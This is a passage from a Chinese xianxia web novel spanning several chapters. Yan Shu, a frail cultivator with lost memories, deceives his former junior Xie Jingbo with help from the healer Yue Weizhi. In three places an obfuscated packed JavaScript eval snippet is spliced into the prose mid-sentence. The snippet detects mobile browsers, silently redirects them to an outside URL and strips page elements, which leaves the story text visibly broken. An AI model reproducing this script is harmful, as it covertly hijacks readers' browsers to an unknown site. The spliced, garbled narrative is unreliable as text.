樾为之被他气笑了,口中说着“我那药枕是给你这么用的吗”,却还是从药箱中拿了出来,小心垫到他腰下。 燕纾得逞般笑了下,阖上眼,毫不客气地直接开口要求:“我要你新做的、最精致的那个。” 樾为之怎么看怎么感觉他像个餍足的猫儿,懒洋洋爪子开花。 他轻哼了一声,也没告诉他本来拿的就是那个,继续慢慢诊着脉。 旁边的人呼吸逐渐轻缓,樾为之数了几息,装作不经意般开口:“你要寻的那件事,查的怎么样了?” 燕纾微微摇头:“没什么进展……销春尽的人嘴都很严,什么也不说,谢镜泊又总是故意疏远我。” 樾为之调整了一下银针深浅,顿了顿,轻声开口:“那你……准备什么时候回来?” 燕纾顿了顿。 他没有回答,而是忽然想起什么,冲着樾为之眨了眨眼:“对了,我前几天倒是抓到了个有趣的小玩意。” 樾为之愣了一下,看着燕纾打了个响指,虚空中便忽然落下了一个铁制鸟笼。 ——紧接着,一阵凄厉的鸣叫声从鸟笼中径直传来。 樾为之的目光落到鸟笼里吱哇乱叫的黑黢黢金纹乌鸦身上,嘴角微微抽了一下。 “这是……” “长老殿里飞出来的,凶神恶煞地就冲了过来,然后傻愣愣地在我面前一头把自己撞晕了。”燕纾闲闲地打个哈欠,“先留着吧,以后说不定有大作用。” 樾为之听着那只头顶有金纹的乌鸦叫声越发凄厉,对燕纾的这番说辞不置可否。 “吵死了。”燕纾凉凉抬眼,“你想被做成乌鸦汤吗?” 那只吓破了胆的乌鸦很明显没有听懂燕纾的威胁,声嘶力竭地叫的更欢了。 樾为之回过神,望着面前对峙的一人一鸟,感觉自己脑子更痛了。 “你把他给我吧,我带回去帮你调教一下再给你送回来。”樾为之叹了一口气,抬手把鸟笼收进了储物戒。 他不等燕纾开口拒绝,轻飘飘用一句话堵住他的嘴:“我可不想我的病人被一只鸟给气死了。” 床上的人静了几秒,默默靠回了他肩头,讨好般往他颈窝间蹭了蹭。 樾为之嫌弃地轻啧了一声,肩膀却不着痕迹地往下沉了沉,好让人靠的更舒服些。 燕纾身子曾经受过重创,如今表面看着无恙,实际上内里的底子早已烂了个干净。 樾为之第一次见到他的时候,他满身的灵力都在外溢,几乎到了油尽灯枯之象。 樾为之最后不得已封了他的灵力,又用各种猛药吊住了他的性命,勉强维持他体内各种伤势间的平衡。 只是是药三分毒,毒素积累到一定程度,每月便会爆发一次。 毫不客气地说,燕纾如今的身子就像个满是冰裂的白瓷瓶,美则美矣,却是脆弱的一碰就碎。 ——但易碎品本人却毫无自觉,甚至恨不得让自己直接回炉重塑。 樾为之想着这个就头痛。 窗外打更的声音隐隐传来,几乎已经昏睡过去的人被吵醒,轻轻皱了皱眉。 他感觉手腕和心口那里一阵刺痛传来,紧接着便是熟悉的灵力一缕缕渡了过来。 “检查完了?”燕纾闭着眼,将手往袖口里缩了缩,含糊开口。 床边的人应了一声,慢慢站起身,想要将人扶回床上。 初醒的人还有些畏寒,脱离了热源的一瞬,下意识往樾为之又怀里缩了缩。 樾为之动作僵了一下,不着痕迹地后退一步,扶着他躺回床上。 这么一弄燕纾也清醒了点,微微打了个哈欠,半撑着下巴抬起头:“我身体是不是好点了?” ——这是每次樾为之给他检查完后,他都会问的一句话。 樾为之瞥了他一眼,也是一如既往地毒舌:“好得很,好在你还没有把自己作死。” 燕纾心情颇好地笑出了声。 樾为之凉凉地看了他一眼,重新握住了他的脉门。 “行了,这里我也不好久待,常规的药配好后下月给你送来,我给你用灵力再温养一遍经脉后就走了……” 燕纾下意识“嗯”了一声,又忽然反应过来什么,倏然抬起头。 “哎,等一下,今天就先不用——” 但为时已晚,一股暖意顺着经脉流淌全身,下一刻,樾为之轻轻“咦”了一声。 燕纾绝望地闭上眼。 ——完了。 “你今天动用灵力了?”樾为之皱眉,意识到了什么,语气冷了下来。 燕纾垂着眼不答话,想要把手抽回来,樾为之一翻手直接扣住他腕间穴位。 “经脉封印只有一点松动,但经脉受损程度较深,你只调用了一瞬……” 刹那间,樾为之意识到了什么,倏然低下头:“你是故意引导边叙来攻击你的?” 燕纾终于将手抽了出来,语气轻快地试图狡辩:“没有,我那是被动防御,人家都要杀我了,我总不能坐以待毙——” 樾为之直接打断了他的话:“那你最后为什么把灵力收回了?” 燕纾无声地张了张口。 他想要说什么,忽然皱了皱眉,按住胸口微微吸了一口气:“我心脏有点不舒服,为之,我们能不能下次再说……” “这招没用了,燕纾。”樾为之冷哼一声。 他神情面若寒霜。 “我就说边叙那个呆子轻易不会出这么重的手,”樾为之咬牙,“原来你是故意的。” 燕纾垂死挣扎,小声开口:“你又不认识他,你怎知他不会?万一他恨我入骨……” “边叙是你养大的,再恨你也不会下这么重的死手。” 樾为之冷冷开口:“我不清楚他,但我认识你。” 燕纾这下一句话也说不出口了。 “你是真的不想活了吗,燕纾?那我当初就不应该救你,让你在崖底自生自灭……”樾为之越想越气,倏然站起身。 他拂袖就想直接离开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“你干什么?”樾为之被他推的一个踉跄,差点直接跌下床。 他眼疾手快扶住旁边的桌子,咬牙转过头:“怎么,在销春尽待了一个月,学会过河拆桥……” “谢镜泊要来了。”燕纾急促开口。 樾为之的声音戛然而止。 他看了一眼外面的天色,一时疑心是自己看错了时辰:“这个点他过来干什么……” “我怎么知道,但你不能被他发现。” 燕纾一边说一边跟着踉跄下床,焦急地将人往门口推。 “你快走,我不想被捉奸在床。” 樾为之眉心跳了跳:“谁跟你有奸情……不是,谢镜泊现在跟你有什么关系,他凭什么捉你——” “现在没有,万一今晚之后就有了呢。”燕纾脱口而出。 樾为之:?? 燕纾毫不留情地在他身上贴了一张御风符,顺手一掌拍开了窗。 樾为之看着他一系列行云流水的动作,脸都青了。 “你大爷的燕纾,我清清白白一身,凭什么要翻窗出去——” “谢镜泊现在离这里还有不到五步。” 燕纾望着樾为之,声音冷静的可怕:“如果你现在不走窗,那就只剩藏床底一个选项了。” ……樾为之僵硬了两秒,倏然转过身。 窗棱发出轻微的“啪嗒”一声,樾为之的身影瞬息间已消失不见。 燕纾无声地吐了一口气。 窗外的凉风一吹,他微微瑟缩了一下,感觉好不容易压下去的毒素又翻涌起来,周身逐渐滚烫,大概是起了烧。 周围模模糊糊地看不清楚,燕纾晃了下头,迷迷糊糊地想着先回到床上。 但高烧让他整个反应都迟钝。 他没有注意到刚才胡乱披在身上的外袍正逐渐下滑,也没有注意到自己的脚步逐渐虚浮,直到脚下忽然一软。 “嘶——” 眼前一阵天旋地转,等燕纾再回过神时,便发现自己跪坐在冰凉的地上,迟来的疼痛从手掌和四肢蔓延开来。 他平常就怕疼,周身的高热让他的触觉更加倍敏锐起来。 燕纾疼的眼前发黑,想要撑着站起来,却一时间连骨头缝里都夹着疼。 晚夏的深夜气温已是偏低,青石板上的寒气更是透骨的凉。 燕纾怔愣地坐在原地,莫名感觉一阵委屈。 · 谢镜泊推开门时,看到的便是面前人衣衫不整、眼眶通红地抬头望过来。 燕纾似乎没有认出他,有些疑惑地歪了歪头,眯了眯眼,忽然绽开一个笑意。 “你是来接我回去的吗,谢镜泊。” 一阵寒风吹来,面前的人瑟缩了一下,却是冲着谢镜泊笑着扬起手,眼眶越发通红:“我好冷啊,你能带我回去吗?” 谢镜泊僵在原地。 他无声地张了张口,忽然听到身后另一段脚步声传来:“师弟,你怎么不进去……” 边叙的声音在看到房间里的一幕时戛然而止。 他蓦然睁大了眼。 8. 喝药 谢镜泊最先回过神。 他倏然抬手,将一件外套披在房间内的人身上的同时,单手拉住旁边的边叙,足尖一点,毫无迟疑地疾步退出了房门。 “砰”的一声闷响,面前的门应声而关,边叙身子一震,倏然回过神。 他不可置信地转过头:“师弟,你……” “你今晚先回去……”谢镜泊张了张口,松开拉着他的手,低声开口。 边叙似乎依旧处于震惊中,呆愣愣地继续发问:“刚才那是什么——” 谢镜泊揉了揉眉心:“具体的我也不清楚……” 边叙不依不饶:“刚才大师兄在和你说什么……” 谢镜泊神情复杂:“那不是燕宿泱,过两天我再跟你解释……” 边叙对他的话充耳不闻,依旧望着紧闭的房门:“所以你们是不是已经在一起……” 谢镜泊终于意识到两人说的驴唇不对马嘴,先一步止住了话语。 边叙却还没有意识到异常,自顾自地说完了最后一句话:“所以你们今晚是……偷偷约好的吗?” 谢镜泊向来平静的神情间终于出现了一道裂痕。 他不可置信地抬眼:“你说什么?” 边叙望望紧闭的房门,又望望面前的人,整个人欲言又止。 谢镜泊闭了闭眼,终于咬牙挤出一句话:“不是。他不是燕宿泱,我们也没有约好。” 他等了几秒,见面前的人还没有要走的意思,终于忍无可忍地开口:“四师兄还想要问什么?” “那真的不是大师兄?”他话音刚落,便听边叙执拗开口。 边叙今晚本就是来找谢镜泊询问这件事,没想到正赶上谢镜泊急急忙忙出门=寻人。 边叙不请自来地也跟了过来,没承想便看到了刚才的那一幕。 他看着谢镜泊想要再次否认,蹙眉先一步开口:“刚才那明明就是大师兄,为何你和大师兄都一概否认?虽然我不知为何样貌我无法分辨,但那气息间的熟悉感分明完全一致……” 谢镜泊神情间没有半分惊诧,边叙细细望着对面人的神情,声音倏忽间多了一份不可置信。 “大师兄样貌的改变是你做的?” 他心念电转,意识到了什么,语气一点点沉了下来:“师弟,你在防着我?” 谢镜泊默然望着他,不置可否,但也不发一言。 边叙静了几秒,忽然咧了咧唇:“宗主,你这样做,是为了宗门,为了大师兄,还是为了你自己?” 谢镜泊没想到他会这么问,眉头微皱,“四师兄什么意思?” “大师兄昨日说他心悦你,”边叙盯着他,“松一说他回宗门也只为看你。” 谢镜泊垂在身侧的手倏然攥紧。 他直接开口打断边叙的话:“不可能。” 边叙似乎意料到他会这么说,微微点了点头:“宗主,你把他安置在这偏僻的院落,将他和所有与曾经相关的人都隔绝开,却又不信他说的任何话。” “你到底想做什么?他否认自己是燕宿泱也是你所为……?” “他失忆了。”谢镜泊忽然低声开口。 边叙愣了一下,神情空白了一瞬:“什么?” 谢静泊的神情却慢慢静了下来。 他默然望着这个从来似乎只对书籍感兴趣的四师兄,半晌,重新垂下眼,只又重复了一遍:“他不是燕宿泱。” 边叙回过神,木然地“哦”了一声,也不知信了没有。 他转了转头,望着旁边的木门,声音又恢复了一贯的迟缓,却仍旧没有改称呼:“大师兄刚才应是生病了,神志有些不清,宗主先去照顾他吧。” 他冲着谢镜泊行了一礼,慢慢转回身,谢镜泊静了几秒,闭了闭眼,也重新转向那扇木门。 他缓步上前,伸手刚想推开面前那扇木门,手掌在碰上的那一刻,忽然感觉门内一股拉力蓦然传来。 下一秒,木门被从内直接打开,紧接着一个暖洋洋的身形从木门里钻出来,径直落入他的怀里。 谢镜泊身形一凛,下意识伸出手径直掐住面前人的脖颈,却又在最后一刻忽然停住了动作,只虚虚环在燕纾颈间。 他听着面前人舒服地喟叹了一声:“你身上好暖和啊,谢镜泊。” 谢镜泊手指颤了一下,垂下头。 面前扑了他满怀的人似乎丝毫没有察觉到异样,扬起一双桃花眼笑眯眯地抬起头,两颊绯红,唇色却几近苍白,眼眸间一片散乱。 ——似乎确实已经神志昏沉。 谢镜泊顿了顿,慢慢收回手,手指轻轻环住他的肩膀,指尖却不着痕迹地点在他命脉上。 他垂下眼,低声开口:“燕纾?” “你刚才……是在偷听吗?” 面前的人躲在他外袍下,也不知到底听懂了没有,嘟囔着轻轻应了一声,似乎尤嫌冷般,忽然偏头,再次往他怀里缩去。 ——正向谢镜泊按住他命脉的手指间撞去。 谢镜泊瞳孔骤缩,倏然收回手,指尖最后一刻从燕纾冰凉的皮肤间悄然划过。 他蹙眉低下头,却见面前的人似有些疑惑地抬起头:“怎么了?为什么要把手收回去。” 谢镜泊默然。 燕纾似乎又想起什么,桃花眼间溢出了些许委屈:“而且你刚才为什么一直不来找我?我都冷好久了。” 谢镜泊神情静了一瞬。 他闭了闭眼,手上忽然使力,托着人的腰部将人微微扶起:“嗯,我的错。” 身后似乎传来些微的响动,谢镜泊微微侧过头,正看见小路尽头依旧伫立在那里的边叙。 边叙望着他,神情莫名。 谢镜泊也没有说什么,只忽然抬手,身后的房门在两人之后怦然合拢。 · 房间内似乎有些凌乱。 方才带着谢镜泊体温的外套早已冷透,燕纾却依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14685696|156899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧紧紧用它裹在身侧,跪坐在床上一眨不眨地望着房间中央的人。 谢镜泊默然半晌,终于抬手先摸了摸他的额头。 触手滚烫,让谢镜泊疑心再这么烧下去,能直接把人烧傻。 “怎么发烧了?吃药了吗?” 床上的人迅速摇了两下头。 “为什么不吃药?” “没有药。”燕纾小声开口,又摇了一下头,有些难耐地蹙了蹙眉。 下一刻,谢镜泊忽然开口:“头晕就不用摇头了,直接说就行。” 燕纾怔了一下,眼眸蓦然亮了几分,下意识点头又倏然顿住。 他望着谢镜泊,犹豫了一下,忽然伸出手,示意他来床边坐下。 谢镜泊没有立刻动,而是隔着一步之遥望着他。 床上的人一改往日的懒散随意,仿佛一只极其没有安全感的小动物,小心翼翼地撑着身子望着他,乖巧地让人心软。 ——这是他清醒时从来不会露出的模样。 谢镜泊缓缓抬步,顺从地坐下,继续开口:“没有药,为什么不喊人?” 他话音刚落,下一秒却感觉怀里先是一凉。 燕纾裹着那外袍,挪巴挪巴再次挤了进来,寻了个舒服的姿势靠在他肩窝,满足地眯起了眼。 高烧让他思维迟缓,做完脑海中最紧要的事,这才后知后觉想到谢镜泊刚才的问题。 他歪了歪头,犹豫了一下小声开口:“反正喊了人拿了药来我也不会喝,不如不要。” 谢镜泊没有想到会是这个答案,一时间被气笑了。 “不喝药病怎么能好?” 他边说边抬手想要唤人,却忽然感觉手腕再次一凉。 燕纾抓着他的手腕,窗外的树枝被风吹动,他被冻的瑟缩了一下,却执拗地不松手。 “喝了也不会好。” 月影浮动,带着一粒光点从他眼睫处滑落,好像一滴银色的眼泪。 面前的人神情无辜,恍若不知自己说出的是怎样的话:“不喝也不会死。” 谢镜泊神情一滞。 燕纾拽着谢镜泊手腕,不知想到了什么,颤声开口:“而且我从前喝过太多药了,喝了就难受,浑身都痛,还会吐血……” 谢镜泊蹙了蹙眉,敏锐地捕捉到了“从前”两个字。 床上的人还像小动物般,蜷缩起来掰着爪子细数着喝药的“罪状”,指尖冻的青白。 谢镜泊盯着他发白的指尖,终于忍不住伸出手,反手抓住他的手腕,重新塞回了衣袍内。 燕纾愣了一下,忽然扬起唇,得寸进尺地张开手,将整个手都挤进了谢镜泊掌心。 谢镜泊垂眸看他一眼,没有松手,反而忽然开口:“可以先不喝药。” 他往燕纾脉络间渡着灵力降温,不等面前的人欢呼,紧接着问出了下一个问题。 “但你得告诉我,之前是什么时候喝的药?谁给你喝的?” 9. 骗子 谢镜泊话音刚落,便瞧着怀里的人愣了一下,紧接着倏然抽手,想要往回缩。 ——这是交易失败,想要反悔了。 谢镜泊被他这个反应气笑了。 掌心间的手骨清隽纤细,仿佛轻轻一用力便能折断,偏偏还浑不自知地总是添些伤痕。 谢镜泊担心他病中不知轻重伤了自己,又疑心他会不会又在演戏,干脆一伸手直接按住燕纾的手臂,禁锢着他整个人都动弹不得。 ——外袍遮盖下仿佛将他整个人都揽在怀里。 怀里的人僵硬了一瞬,似乎意识到自己逃跑无效,干脆直接开始惯用的“耍赖”。 “就最初失忆醒来的那段时间……但我也记不清了,”燕纾摇摇头,呼吸有些急促,“我不清楚,我只记得好难受……” 谢镜泊直觉他有所隐瞒。 但燕纾额间逐渐布满了细细密密的冷汗,谢镜泊皱了皱眉,声音不自觉缓了下来。 “那我换一个问题。” “你刚才说的‘之前’还有其他大概的时间阶段吗?” 谢镜泊低声开口,攥着燕纾手腕的手指不自觉一点点收紧。 “有没有模糊的时间记忆,比如失忆之后发生了什么事,或者失忆前一些模糊的记忆片段……” 谢镜泊的声音有些发颤,一时间有些说不下去。 而面前的人神情间带着一丝困惑与好奇,似乎不懂谢镜泊为何忽然间如此激动。 谢镜泊闭了闭眼,缓缓吐出一口气。 · 两年前,魔族叛乱,百年安稳被骤然打破,六界大乱。 谢镜泊记得,出事的前一天,他正巧被师父派去宗门外,前往人界解决某村落妖族作乱。 当时燕纾给他的符信里提到了这件事,他也提到他已应师父之命率当时十二仙门一代弟子结阵结界,齐心抗衡。 燕纾来信里语气一如既往的懒散,戏谑地让他“不必惊慌,若担忧落泪,他一算卦盘便可知”——也就是变相地说明会监视他的行程,让他不要着急回宗。 甚至他还在信末,一如既往毫不客气地要求谢镜泊给他带个人间最有趣的玩意回来,让他也感受一下人界的灯红柳绿。 但燕纾了解自家小师弟的面冷心热,谢镜泊也直接读出燕纾随意语气下暗藏的紧绷。 他决定用最快的速度返程。 这个决定也出乎意料地顺利。 出事的村落作乱的不过是个百岁小妖,谢镜泊不到一天的时间便顺利解决,当晚便立刻往回赶。 他自认已是最快的速度,甚至怕被燕纾阻拦,而特意断了两人的通信符。 ——没想到也就因此错过了了解事情经过的最佳时机。 等他回到宗门,迎接他的便是两个惊天消息。 销春尽失守,师父阵亡,燕纾叛逃销春尽。 谢镜泊被这两个噩耗直接钉在原地。 他不敢相信这一切,但看着他三位师兄狼狈又沉默的模样,他也由最初的激动一点点沉寂下来。 三位师兄身上都有不同程度的伤势,谢镜泊不得已撑起了剩下的一切。 他一面守着销春尽,一面试图联系燕纾了解到底发生了什么。 ——他不愿相信燕纾真的叛离宗门。 但后来发生的一系列事情,谢镜泊几乎……不愿记起。 燕纾当面背弃于他,被六界打上叛徒名号,死生不明。 谢镜泊这些年一直试图找出当年发生的一切。 可惜当年了解这些事的人几乎都已相继离去,甚至他的三位师兄都闭关的闭关,离宗的离宗。 · 谢镜泊咬了咬舌尖,强迫自己回过神。 他睁开眼,还没来得及再说什么,忽然感觉眼尾微微一凉。 他有些恍然地抬起头,正看到燕纾收回手,小心而又茫然地望着他:“你是……哭了吗?” 谢镜泊恍惚摇头,燕纾顿了顿,又抬手轻轻碰了碰:“可是你眼尾好红。” 谢镜泊怔了一瞬。 燕纾身体弱,指腹冰凉,但方才触碰他的那一处却恍若忽然滚烫起来。 谢镜泊过了足足两息,才终于哑声开口:“没有……我没事。” 他按了按眉心,想要开口再说什么,一时间却又不知从何说起:“我只是……” 他话还没说完,却突然感觉颈窝一沉。 面前的人忽然跪坐起身,纤细的手腕攀住他肩膀,如幼崽寻求安慰般,笨拙地在他肩头蹭了蹭:“若你真这么难过……” 燕纾小声开口:“我可以努力……回想一下。” 谢镜泊动作一顿。 他有些不可置信地转过头,正落入燕纾染着笑意的眼眸。 面前的人对上他的目光,歪了歪头,笑眯眯地开口:“毕竟,我最欢喜你了。” 谢镜泊静了几秒,倏然抬手,一言不发地将人重新塞回被子里,微红的耳尖却昭示了一切。 燕纾也不以为意,缩在被子里,蜷着膝盖,小声开口:“我醒来时记忆便是混乱的,除了随身的姓名玉牌,便只记得要去寻你。” “我那时身体不好,太难受时便胡乱扯些药草塞到嘴里,但效果……就像我刚才说的那样,我没有骗人。” 燕纾抬头瞥了他一眼,谢镜泊愣了一下,立刻意识到燕纾这是又回答了一遍他最开始的问题。 他张了张口想要解释,燕纾却已经自顾自地又说了下去。 “不过好在身体还是一点点好转起来。” “身体好些了之后……我偶尔也会闪回些模糊的记忆片段。” 燕纾不知想到了什么,脸色一点点苍白起来。 “大多我都记不清了,但我记得,我似乎曾经落到一个极深的崖底,有无数只头顶金纹、凄哀鸣叫的黑鸟在我上方盘旋,似乎想要啖我血肉……” “我想要离开,但崖底似乎还有一个……极强的血阵,吸食我的灵力,将我束缚,我只能日日如此……” 燕纾终于说不下去,捂住唇控制不住干呕一声,偏过头急促喘息起来。 谢镜泊伸手撑住他的肩膀,眉心微蹙。 头顶黑色金纹的乌鸦……他第一个想到的,便是长老殿豢养的鸦群。 但他前几日刚追寻那乌鸦失去踪迹,今日燕纾又忽然跟他讲了此事。 而以鲜血为阵吸食灵力明显是妖魔产物,不可能和长老殿扯上任何关系。 整件事太过巧合,谢镜泊皱了皱眉,开口想再问些细节,燕纾却无论怎样都不愿开口了。 “我有点……不舒服,谢镜泊。”燕纾低声开口。 “你救救我,谢镜泊,我好难受……” 他话还没说完,忽然闷哼一声,捂住心口,整个人蜷缩起来。 谢镜泊没想到只这一会儿燕纾反应便这么严重。 他生怕牵起了他什么旧疾,愣了一下,下意识低头去摸他的脉搏。 但他手指刚一动,忽然碰到了什么,动作微微一顿。 他不知想起了什么,盯着自己的手指,脸色慢慢沉了下来。 “你是真的很难受吗?”谢镜泊忽然低声开口。 燕纾依旧按着心口,蜷缩着躺在他膝盖上,眼眶微红地点了点头。 “我不喜欢刚才那个问题……”燕纾小声开口,“可不可以不问了。” 谢镜泊微微点了点头,直接应了下来。 “好。” “那我换一个问题。” 他盯着燕纾,一字一顿慢慢开口:“或许你能告诉我,你是从什么时候清醒的吗?” 面前的人愣了一下。 他仰起头,正看到谢镜泊抬起手,外袍微掀,露出一直搭在他脉门上的手指。 ——他的手从方才用灵力帮他退烧时起,便一直没有离开过他的脉门。 方才燕纾说他难受,谢镜泊下意识摸脉,才忽然意识到此事。 直到那时谢镜泊也才回想起,燕纾的脉象虽然有些虚弱,但从始至终很平缓,没有任何异样。 ——他说难受,便是假。 “我怕自己不懂医术,有所疏漏,又探了一下你的气血。” 谢镜泊冷冷地望着他:“你气血间沉迟已消,内扰絮乱回稳,很明显因为高热带来的神志昏沉已然消散。” “所以燕纾,你是从什么时候开始套我的话的?” 燕纾脸色一瞬间苍白如纸,掌心死死地抵着胸口,想要张口,却又带出一串闷咳。 他身形晃了一下,倏然从谢镜泊身上跌到床上。 谢镜泊慢慢站起身,垂下眼望着面前的人,眼眸间浮现出一抹嘲讽。 他为自己刚才一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14685697|156899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间松动的想法感到可笑。 ——那指腹冰凉的暖意,那原以为混沌意识间唯一不加掩饰的“欢喜”…… 谢镜泊眼眸冰冷,唇边却慢慢浮现出一抹笑意。 他低声开口:“好,你不说,我说。” “你是故意来套我的话、来套长老殿资料的对吧,燕纾?” 他咬牙,声音中却抓紧带上了低低的笑意:“还是……你只是从始至终,都喜欢看我被你骗的团团转……” “不是!” 谢镜泊手腕忽然一凉。 半伏在床榻上的人忽然撑着身子抬起头,目光仓皇地望着他的。 “我不清楚你在说什么,我没有骗你……” 面前的人脸色已经全白了,额间布满了细密的冷汗,细细地发着抖,话还没说完,忽然闷哼一声又跌了回去。 “谢镜泊,我心口疼……喘不上气……” 谢镜泊蹙了蹙眉。 面前的人眼皮半阖,身子软了下来,呼吸急促的不似作伪。 房间里有一阵凉风刮过,谢镜泊终于忍不住慢慢上前一步。 他想先输点灵力先稳定燕纾的情况再做打算,却在握上他手腕的下一秒,便看到面前人如触电般身子一颤,倏然甩开他的手。 “你别碰我——” 谢镜泊下意识松开手,掌心间传输的灵力骤然中断,下一秒便看燕纾猛地喘了一口气,跌坐在床上,按着心口不住喘息。 谢镜泊后知后觉意识到了什么,皱眉抬起头:“我给你渡灵力……你很难受?” 燕纾不答,似乎难受到了极点,自顾自低头急促喘息。 谢镜泊又想到了什么,上前一步,沉声开口:“你的灵脉怎么了?是——” 他的声音忽然戛然而止。 他想起很早前,似乎燕纾就跟他说过,他灵脉受损之事。 只是谢镜泊一直……从未当真。 混乱的思绪在脑海中逐渐凝练成线,月影西斜,落入窗台,谢镜泊望着面前人比月光还白的唇色,手指一点点颤了起来。 燕纾方才并未说谎。 ——一个人经络灵脉若受过重创,一切基于常规脉象、气血作出的推断便全部作废。 人的经脉好似枝繁叶茂的树木,随着修炼程度会长出一条条错综复杂的枝干。 因此修仙之人脉象与普通凡人不同,仙门有自己的医师。 修炼能改变经脉的走向,受伤亦如此。 那些伤势就好似树木下隐藏了一层层腐败的毒物,随时可能影响树木,没有任何规律可言。 ——燕纾并未说谎,他仍高热未退,心神不稳。 那他方才都做了什么。 “燕纾,我……”谢镜泊颤声开口,床上的人却似乎已经压根不想理他。 燕纾缓过一口气,恹恹地看了他一眼,也不再往他怀里钻,而是慢慢撑起身子,一点点挪回被窝里,阖上眼,重新蜷缩了起来。 谢镜泊一时间控制不住有些仓皇。 他在原地站了几秒,到底还是小心翼翼抬起手,在床上人额间轻轻拂过。 床上的人皱了皱眉,往床内侧缩了一下,谢镜泊默然收回手,却微微舒了一口气。 温度还是有些偏高,但终于有消退的迹象。 “抱歉。”谢镜泊低声开口。 床上的人呼吸均匀,攥着外袍的手微微放松,似乎已经睡熟。 谢镜泊静了几秒,终于抬步,慢慢走了出去。 · 房间内终于恢复一片寂静,过了不知道多久,打更声响起的那一刻,床上原本熟睡的人忽然睁开眼。 他神色清明,除了脸色苍白外,看不出任何异常。 ——甚至唇角微勾,似乎心情颇为愉悦。 燕纾重新按住自己的脉门,手指一颤,偏头吐出一口血,脸色慢慢红润起来。 他懒洋洋半撑起身,忽然抬手轻轻打了个响指。 一道符咒从虚空中骤然浮现,紧接着,一只雪白的猫咪倏忽从暗处窜了出来。 径直扑到燕纾怀里。 “回去告诉樾为之。” 燕纾垂下眼,纤细的指骨不经意间揉搓着猫咪的耳朵,鸦羽般睫毛在眼下投出一片阴影,将琥珀色的眼眸隐隐染成暗色。 “谢镜泊信了。” 10.吃醋 怀里的猫咪呼噜着翻了个滚,翘着四条腿仰躺在燕纾怀里,也不知到底听清他的话没有。 燕纾也不在意,手指有一搭没一搭地揉着他耳尖的绒毛,声音放的极轻:“那个阵法谢镜泊会帮我们去查……” “而查的时候,他一定会下意识先将它与长老院关联。” 怀疑的种子一旦种下,就会无尽生根。 窗外的月光在廊檐下泼下一整片白霜,燕纾望向窗外,目光逐渐放空。 “你说……他会查出两年前什么有意思的事呢?” 怀里的白猫后腿忽然蹬了一下,不知梦到了什么,凌空拧了个身,一爪子将昨日松一吭哧吭哧搬过来的那些旧手稿“哗啦”一下全部翻乱。 幼时熟悉的字迹倏然在眼前一一闪过,燕纾盯着那纷飞的书页,唇边的笑意逐渐扩散。 “是了,销春尽的旧账是该翻一翻了。” “我很期待。” 可是他声音好闷,像是夏夜落雨前低垂的云,只在霭霭暮色间麻木地等着既定的大雨,辨不出喜怒。 房间内一片寂静,只剩下白猫轻微的呼噜声。 燕纾闭了闭眼,又抬手轻轻打了个响指。 方才逐渐消散的符咒再次在虚空中浮现,燕纾刚准备将它收进储物袋内,忽然又想起什么,抬手摸了摸自己的脸。 “原来第一天,你就遮住了我这层面容啊谢镜泊……” 燕纾垂下眼,勾了勾唇。 “那还让我白挨这一遭。” 他口中懒懒抱怨着,指尖却在虚空中划了两笔,将最后这几句话从符纸上勾去。 “算了,先不跟樾为之告你的状了……” 燕纾轻咳两声,紧绷了一整晚的心神终于真正放松下来,顷刻间便感觉意识模糊起来。 “这次就算……咱们扯平了。” 窗外月影已近消失,一道白光闪过,白猫脖颈间的储物袋同时微微一坠。 白猫迷茫地抬起头,环顾一圈,却见自家主人不知何时靠着床头,就这般歪着身子昏睡了过去,青白的指尖落床畔,甚至还微微发着颤。 白猫凑上前,用头轻轻拱了一下,不但没将人唤醒,反而被冰的打了个激灵。 他迷茫地歪了歪头,干脆团吧团吧尾巴将燕纾的手拢在身下,寻了个舒服的姿势重新睡了过去。 · 燕纾不知自己昨晚是怎么睡着的。 但却清晰地意识到自己是怎么醒来的。 ——被旁边一叠声压抑的闷哼被迫惊醒。 燕纾骤然坐起身,一时间疑心是梦里谢镜泊催他去晨课照进了现实。 急促的心跳让燕纾眼前一片漆黑,却还是下意识将手迅速伸进枕下。 但他的手在摸上符纸的一刹那,一抬眼,忽然直直地和边叙的目光对了个正着。 燕纾愣了一下,硬是从边叙一张面瘫脸上读出了三分尴尬和七分……使力? 他怔了怔,目光顺着转向旁边,便看到边叙弯着腰,一手抵着桌案,一手伸向他的床褥,维持着这个诡异的姿势……从他怀里拽出了一只猫爪。 燕纾眼眸微微放大,不可置信地又确认了一遍——确实是他那只胖的连脖子都没有的白猫。 他一时间也不知道作何反应,下意识转向边叙,便听到边叙同时低声开口:“大师兄,你床上为何会有一只……” 他顿了顿,声音间难得带上了些许疑惑:“……这是猫吗?” 回应他的,是一声尖锐的猫叫,和毫不留情的一爪子。 燕纾眉心跳了跳,忍不住伸出手隔开对峙的一人一猫。 “暂且……算猫吧。” 燕纾扭过头,望着委委屈屈望着自己的白猫,眼眸微眯,语气却依旧带笑。 “我也想知道,我床上为何早晨还会有一只……肥猫?” ——你不是应该已经回樾为之那里去了吗。 